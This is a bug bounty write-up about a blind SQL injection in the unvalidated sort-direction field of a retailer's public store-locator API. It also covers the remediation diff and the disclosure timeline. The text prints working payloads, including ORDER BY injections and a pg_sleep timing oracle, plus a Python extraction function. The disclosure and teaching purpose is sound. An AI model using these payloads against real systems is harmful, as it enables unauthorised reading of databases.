Bug Hunting Journey

Writeups SQLi

SQLi · critical

The store finder that sorted by anything you asked

Severity Critical CVSS 7.5
Impact
Unauthenticated read access to the production database
Bounty
$5k - $10k
Program
Private, invite only
Vector
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

TL;DR

The public store locator on target.tld sorts results server-side. The column name was checked against an allowlist; the sort direction, sitting right next to it in the same JSON object, was concatenated into the query untouched. ORDER BY accepts arbitrary expressions, so a CASE wrapped around pg_sleep turned the response time into a boolean oracle. No account, no cookie, no rate limit worth mentioning.

A shop locator is the most boring page a retailer owns. Nobody logs in, nobody is tracked, there is nothing to steal. That is exactly why its endpoint had never been looked at, and why a field called dir was being pasted straight into a query against the production database of ██████████████.

Recon

The scope is a retail SaaS: a customer-facing storefront, a merchant back office, and api.target.tld serving both. Private program, invite received in mid-October. Out of scope: anything involving real customer orders, anything destructive, and automated scanning above a request per second.

I set up the usual two merchant accounts before realising I would not need either. The store locator is public by design: a postcode in, the nearest shops out. No session, no API key, no Origin check. Whatever it talks to, it talks to on behalf of the whole internet.

The front end is a Vue bundle. I ran it through prettier and grepped for fetch( to list what the public pages actually call. Eleven endpoints, ten of them taking no parameter worth the name. The eleventh builds a sort object:

locator.9c41e2.js, reformattedJavaScript
const SORT_FIELDS = ['distance', 'name', 'city', 'opening_soon'];function search(postcode, radius, sortField = 'distance', sortDir = 'asc') {  return api.post('/api/v2/stores/search', {    postcode,    radius_km: radius,    sort: { field: sortField, dir: sortDir },  });}

Two values, sitting in the same object, looking equally harmless. The client only ever sends asc or desc for the second one, which is precisely the kind of assumption that stops being true the moment somebody stops using the client.

The first signal

The normal request is unremarkable.

POSTapi.target.tldrequest
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"distance","dir":"asc"}}
200OKresponse
HTTP/2 200 OKcontent-type: application/json{"stores":[{"id":4417,"name":"█████████ Bastille","distance_km":0.8}, ...]}

Sending a junk column name gets a clean rejection, which tells me an allowlist exists and that it is doing its job:

POSTapi.target.tldrequest
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"nope","dir":"asc"}}
400Bad Requestresponse
HTTP/2 400 Bad Requestcontent-type: application/json{"error":"invalid_sort_field","allowed":["distance","name","city","opening_soon"]}

So I tried the same thing one key to the right. Not a payload, just a word that is not asc:

POSTapi.target.tldrequest
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, city"}}

200, and the results came back ordered by name and then by city. The direction is not validated, and it is not a direction: it is the tail of the ORDER BY clause, and I am writing it.

That is the entire finding. Everything after this is just establishing how far it goes.

Dead ends

Two hours of nothing, which is the normal ratio. Three of those attempts are worth writing down, because each one told me something about the shape of the hole.

The first reflex was UNION, and it was simply the wrong tool. I spent twenty minutes building variants of this before the penny dropped:

POSTThe attempt that could never have workedrequest
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc UNION SELECT null,null,null--"}}
500Internal Server Errorresponse
HTTP/2 500 Internal Server Errorcontent-type: application/json{"error":"internal","request_id":"01JH████████████"}

UNION grafts a second result set onto a SELECT. I am not in the SELECT: I am in the ORDER BY, which runs after the rows have already been assembled. There is nothing left to union with. This is the specific trap of ORDER BY injection, and it is why the payload everyone knows is useless here. The lesson generalises: before reaching for a payload, work out which clause you are actually standing in.

Second, stacked queries. asc; SELECT 1 returned the same opaque 500, and so did every variant. The driver sends one statement per call, which closes the door on writes, on COPY, and on anything that would turn this into more than a read. That is a dead end for me and a relief for the program, and it is why the report asks for a confidentiality rating rather than a full compromise. A negative result that bounds the impact is worth reporting.

The third one is the interesting failure, because it almost worked. Before using timing, I built an oracle out of the result order itself:

POSTThe oracle that liedrequest
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, (CASE WHEN (SELECT 1=1) THEN name ELSE city END)"}}

It works, in the sense that the condition does change the ordering. But the response only differs when sorting by name and sorting by city actually produce different lists, and for a postcode with four shops they frequently do not. So the oracle returns the same answer for true and for false, and it never tells you: there is no error, just a confident and wrong bit. I noticed because two consecutive characters came back identical in a string that should not have had a doubled letter.

That is the failure mode to be afraid of with blind injection. A rejected payload costs you twenty minutes. A noisy oracle costs you a report that triage cannot reproduce, and your credibility with that program. I threw the approach away rather than add heuristics on top of it, and moved to something with no ambiguity: a measurement.

Exploitation

PostgreSQL evaluates ORDER BY expressions per row, and a scalar subquery is a valid expression there. SELECT 1 FROM pg_sleep(4) returns one row holding 1, so it type-checks where a bare pg_sleep() would not.

POSTThe oracle, asking whether the major version is 16request
POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, (CASE WHEN (SELECT substr(version(),12,2))='16' THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)"}}
Measured, five runs eachtext
condition true   4.19s  4.22s  4.18s  4.25s  4.20scondition false  0.21s  0.19s  0.22s  0.20s  0.21s

A twenty-fold gap with no overlap. From there it is mechanical: one request per bit, binary search on each character.

  1. Confirm the clause is mine. dir: "asc, city" changes the ordering with no error. No payload yet, nothing destructive, and it already proves concatenation.
  2. Build the timing oracle. Wrap any boolean in CASE WHEN ... THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END. Calibrate against the baseline before trusting a single answer.
  3. Fingerprint the context. version(), current_user, current_database(). This is what tells the program how bad it is: a superuser would have changed the severity.
  4. Confirm reachable tables. One query against information_schema.tables for the existence of public.users, and one count(*) on it. Existence and a number, not contents.
  5. Pull exactly one row. The email of the first account whose role is admin, to make the impact undeniable, then stop.
extract.py, the oracle in nine linesPython
def ask(condition: str) -> bool:    payload = {        "postcode": "75011",        "radius_km": 25,        "sort": {            "field": "name",            "dir": f"asc, (CASE WHEN ({condition}) THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)",        },    }    started = time.monotonic()    session.post(URL, json=payload, timeout=20)    return time.monotonic() - started > 3.5

Proof

Terminal output of the extraction script: version, database user, table name and a single admin row, every identifying value masked.
Reconstructed for publication. The database user, the database name, the row count and the account itself are masked; only the shape of the output is readable.

Where I stopped

Forty-one requests in just under three minutes, at roughly one every four seconds because the oracle is the rate limiter. I read one row: a single admin email, partially, enough to show it was a real account and not a seed fixture. I did not dump the table, did not touch password_hash, did not enumerate other schemas, and did not try to write anything, which the single-statement driver would have refused anyway. The account whose email I read was never contacted.

Impact

Anyone on the internet, with no account and no token, could read any table the API role can see. That is the entire application schema: merchants, store addresses, staff accounts and their password hashes, and the order tables I deliberately never looked at. The database user is not a superuser and the driver sends one statement at a time, so there is no write path and no code execution from here.

CVSS puts this at 7.5: confidentiality high, integrity and availability untouched. The program rated it critical anyway, and was right to. The formula does not know that the table contains password hashes for an authenticated back office, nor that a full read of this database would be a reportable data breach regardless of what the attacker then does with it. I reported it as high and said so; the gap between the score and the rating is worth stating in the report rather than quietly picking the bigger of the two.

The fix

I sent two recommendations, deliberately separated, because they do not have the same cost or the same lifespan.

Immediate mitigation, deployable the same evening: ignore dir entirely and hard-code the direction. The feature degrades to ascending-only sorting, which nobody will notice on a store locator, and the injection point closes within hours instead of within a sprint. They shipped this three hours after the report.

Proper fix: stop validating the input and start using it as a key. Both field and dir should index into a lookup table whose values are constants written by the developer, so that nothing the client sends ever reaches the query string. This is stronger than any sanitiser, because it removes the category of mistake rather than the instance: there is no escaping to get subtly wrong during a refactor, and a reviewer can confirm the query is safe by reading ten lines rather than by reasoning about inputs.

I also flagged a third item as a nice-to-have rather than a fix: the 400 response echoes the full list of allowed column names, which handed me the schema for free. It is not the vulnerability, and I said so.

The team shared the diff afterwards and allowed me to publish it. It is the lookup-table version:

api/stores/search.ts, as deployeddiff
-const SORT_FIELDS = ['distance', 'name', 'city', 'opening_soon'];+const SORT_FIELDS = {+  distance: 'distance_km',+  name: 'name',+  city: 'city',+  opening_soon: 'opens_at',+} as const;+const SORT_DIRS = { asc: 'ASC', desc: 'DESC' } as const; -  if (!SORT_FIELDS.includes(sort.field)) {-    return res.status(400).json({ error: 'invalid_sort_field', allowed: SORT_FIELDS });-  }-  const orderBy = `${sort.field} ${sort.dir ?? 'asc'}`;+  const column = SORT_FIELDS[sort.field as keyof typeof SORT_FIELDS];+  const direction = SORT_DIRS[sort.dir as keyof typeof SORT_DIRS];+  if (!column || !direction) {+    return res.status(400).json({ error: 'invalid_sort' });+  }+  const orderBy = `${column} ${direction}`;

Takeaways

  • An allowlist protects the field it checks, and nothing else. Here one of two values in the same object was validated. If a reviewer had looked at the line below, this would never have shipped. When you find a working allowlist, immediately look at what is next to it.
  • ORDER BY cannot be parameterised, so it is where injections survive. Placeholders only work for values. Any sort, any pagination key, any dynamic column name is concatenated by definition, which makes those parameters the first ones worth probing on an otherwise modern codebase.
  • Map inputs to constants instead of validating them. A lookup table turns a validation problem into a type problem. The query then contains only strings the developer typed, which is a property you keep even after six refactors.
  • Public endpoints get reviewed last and are reachable first. This one had no auth, no session, no CSRF token and no rate limit, because it has no data of its own. It sits in front of the same database as everything else.
  • Calibrate an oracle before you believe it. My first approach inferred bits from result ordering and was wrong on some inputs without telling me. A noisy oracle does not produce an error, it produces a confident and incorrect dump, and you only find out when triage cannot reproduce it.

Disclosure timeline

  1. Report sent with the oracle, the extraction script and the one row I pulled
  2. Emergency mitigation sort hard-coded server-side within three hours
  3. Triaged rated critical despite a CVSS of 7.5, see the impact section
  4. Fix deployed both fields mapped to constants, legacy branch deleted
  5. Bounty paid top band, plus a retest invitation on the rest of the API
  6. Cleared for publication